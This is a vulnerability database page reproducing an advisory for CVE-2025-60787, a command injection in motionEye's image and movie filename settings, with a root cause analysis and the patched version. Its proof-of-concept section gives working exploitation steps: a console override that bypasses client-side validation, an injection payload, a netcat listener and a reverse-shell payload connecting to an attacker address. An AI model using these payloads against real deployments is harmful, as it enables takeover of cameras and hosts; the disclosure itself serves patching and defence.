7.2

CVSS Score

3.1

-

CVSS Score

Basic Information

CVE ID

CVE-2025-60787

GHSA ID

GHSA-j945-qm58-4gjx

EPSS Score

0.95686%

CWE

CWE-78

Published

11/3/2025

Updated

11/3/2025

KEV Status

Technology

Python

Basic Information

CVE ID

GHSA ID

EPSS Score

CWE

Published

Updated

KEV Status

Technology

Concerned about an active attack path?

Talk to our security experts and see Miggo in action.

Miggo Vulnerability Database

→

CVE-2025-60787

CVE-2025-60787: motionEye vulnerable to RCE via unsanitized motion config parameter

Summary

A command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution (RCE) by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization, attackers can inject shell syntax that is executed when the Motion process restarts. This issue enables full takeover of the MotionEye container and potentially the host environment (depending on container privileges).

Details

Root Cause:

MotionEye accepts arbitrary strings from fields such as image_file_name and movie_filename in the Web UI. These are written directly into /etc/motioneye/camera-*.conf. When MotionEye restarts the Motion service (motionctl.start), the Motion binary reads this configuration. Because Motion treats these fields as shell-expandable, injected characters (e.g. $(), backticks) are interpreted as shell commands.

Vulnerability flow:

Dashboard (Web UI) ↓ ConfigHandler.set_config() ↓ camera-*.conf written ↓ motionctl.restart() ↓ Motion parses config → executes payload

Affected code:

The issue arises in how config.py handles user input before writing to config files. No sanitization or allowlisting is applied to filename fields.

Proof of Concept (PoC)

The following steps reproduce the Remote Code Execution (RCE) vulnerability in MotionEye.
Tested using the official Docker image.

Environment Setup

Start MotionEye container
Launch the vulnerable container:

docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge

Verify version
Confirm the running version inside logs:
```
docker logs motioneye | grep "motionEye server"
```
Result:
```
motionEye server 0.43.1b4
```
<img width="741" height="168" alt="version_ver" src="https://github.com/user-attachments/assets/ac85d238-da7f-4274-9381-0119c01a1320" />
Container shell access (for verification later)
Keep a shell handy to verify results:
```
docker exec -it motioneye /bin/bash
ls -la /tmp
```

Exploitation Steps

Access Web Interface
- Open browser at: http://127.0.0.1:9999
- Login with default credentials: admin / (blank password)
- Add a sample RTSP network camera (required to enable camera-specific settings).
<img width="1623" height="869" alt="add_camera" src="https://github.com/user-attachments/assets/d506a891-8b80-4b69-84f2-b195fcaca0cc" />
Attempt malicious filename input
- Go to: Camera Settings → Still Images
- In the Image File Name field, try:
```
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
```
- Observation: This is blocked by client-side validation in the browser.
<img width="739" height="104" alt="er1" src="https://github.com/user-attachments/assets/817549fc-5cb2-4959-b29d-5cec745e096b" /> <img width="611" height="90" alt="er2" src="https://github.com/user-attachments/assets/a68eec73-bade-4cc5-b65b-4fc2dfbc7f01" />

Client-Side Validation Discovery

The check is implemented in JavaScript:
- /static/js/main.js?v=0.43.1b4 → references /static/js/ui.js?v=0.43.1b4

Example validation function:

function configUiValid() {
  $('div.settings').find('.validator').each(function () { this.validate(); });
  var valid = true;
  $('div.settings input, select').each(function () {
    if (this.invalid) { valid = false; return false; }
  });
  return valid;
}

Bypass Validation
- Open browser console (F12 → Console tab)
- Override the function to always return true:
```
configUiValid = function() { return true; };
```
- This bypasses client-side validation and allows arbitrary values. <img width="819" height="539" alt="bypass" src="https://github.com/user-attachments/assets/c18d50cf-1f41-4f31-a23b-23ade9babaa2" />
Inject Payload
- Set Capture Mode: Interval Snapshots
- Set Interval: 10
- Set Image File Name to the payload:
```
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
```
- Click Apply to save settings. <img width="565" height="344" alt="inject_payload" src="https://github.com/user-attachments/assets/f23e76b2-6af3-490d-bce3-60ac3f96241e" />

Weaponizing RCE (Reverse Shell Example)

Start attacker listener
```
nc -lvnp 4444
```

Inject reverse shell payload
Enter the following into the Image File Name field:

$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S

Result
- A reverse shell connects back to the attacker’s machine.
- Attacker gains full control of the MotionEye container environment. <img width="1140" height="366" alt="final" src="https://github.com/user-attachments/assets/2a8f650f-68f3-43b2-8594-08d5035c16b9" />

Root Cause

MotionEye writes unsanitized values (e.g., image_file_name) from the Web UI directly into camera-<id>.conf.
On restart, the motion binary parses these fields as shell-expandable strings, leading to arbitrary command execution.

Impact

Type: OS Command Injection → Remote Code Execution

Who is impacted:

Any MotionEye deployment where attackers can authenticate as admin (or where the UI is left exposed with default/no password).
Containerized and bare-metal installs alike.

Potential consequences:

Full compromise of MotionEye container.
Lateral movement or host compromise if the container runs with privileged permissions or mounts sensitive host volumes.

(GitHub Advisory)

Miggo Vulnerability Database

→

CVE-2025-60787

CVE-2025-60787:

7.2

CVSS Score

3.1

-

CVSS Score

Basic Information

CVE ID

CVE-2025-60787

GHSA ID

GHSA-j945-qm58-4gjx

EPSS Score

0.95686%

CWE

CWE-78

Published

11/3/2025

Updated

11/3/2025

KEV Status

Technology

Python

Basic Information

CVE ID

GHSA ID

EPSS Score

CWE

Published

Updated

KEV Status

Technology

Technical Details

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Package Name	Ecosystem	Vulnerable Versions	First Patched Version
motioneye	pip	< 0.43.1b5	0.43.1b5

Technical Details

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

The vulnerability allows for Remote Code Execution by injecting shell commands into configuration fields in the MotionEye web UI. The provided vulnerability description explicitly mentions that the root cause is the lack of sanitization in config.py before writing to configuration files, and points to ConfigHandler.set_config() in the execution flow.

To pinpoint the exact vulnerable function, I analyzed the patch that fixed the vulnerability. The patch was identified by comparing the last vulnerable version (0.43.1b4) and the first patched version (0.43.1b5). The key commit f47d20088de1c15fba93c42e8a3ba4d888cc9a13 is titled "enh(backend): apply input sanity checks as well in backend".

This commit modifies the file motioneye/config.py and introduces server-side validation within the motion_camera_ui_to_dict function. Before this patch, user-controlled input for fields like movie_file_name and image_file_name was taken directly from the UI dictionary (ui) and placed into the configuration data structure. The patch adds calls to a new input_sanity_check function to validate these inputs against a regex, preventing the injection of shell metacharacters.

Therefore, the motion_camera_ui_to_dict function is the precise location where the vulnerability existed, as it was the function that processed the malicious input without proper validation. While ConfigHandler.set_config() is part of the chain, the lack of sanitization itself was within motion_camera_ui_to_dict.

Vulnerable functions

motion_camera_ui_to_dict

motioneye/config.py

This function is responsible for taking configuration parameters from the web interface and preparing them to be written into motion's configuration files. The vulnerability existed because this function did not sanitize user-provided values for parameters like `movie_filename` and `picture_filename` (Image File Name in the UI). An attacker with admin access could inject malicious shell commands into these fields. The function would then process these strings and include them in the configuration file. When the motion service was restarted, the motion daemon would execute these commands, leading to Remote Code Execution.

WAF Protection Rules

WAF Rule

W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.

Reasoning

*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.

7.2

-

Basic Information

Basic Information

Concerned about an active attack path?

CVE-2025-60787: motionEye vulnerable to RCE via unsanitized motion config parameter

Summary

Details

Root Cause:

Vulnerability flow:

Affected code:

Proof of Concept (PoC)

Environment Setup

Exploitation Steps

Weaponizing RCE (Reverse Shell Example)

Root Cause

Impact

CVE-2025-60787:

7.2

-

Basic Information

Basic Information

Technical Details

Technical Details

Vulnerability IntelligenceMiggo AI

Root Cause Analysis

Vulnerable functions

WAF Protection Rules

WAF Rule

Reasoning

Vulnerability IntelligenceMiggo AI

Technical Details

Vulnerability IntelligenceMiggo AI

Root Cause Analysis

Vulnerable functions

WAF Protection Rules

WAF Rule

Reasoning

Basic Information

Basic Information

7.2

7.2

CVE-2025-60787: motionEye vulnerable to RCE via unsanitized motion config parameter

Summary

Details

Root Cause:

Vulnerability flow:

Affected code:

Proof of Concept (PoC)

Environment Setup

Exploitation Steps

Weaponizing RCE (Reverse Shell Example)

Root Cause

Impact

Vulnerability Intelligence
Miggo AI

Vulnerability Intelligence
Miggo AI

Vulnerability Intelligence
Miggo AI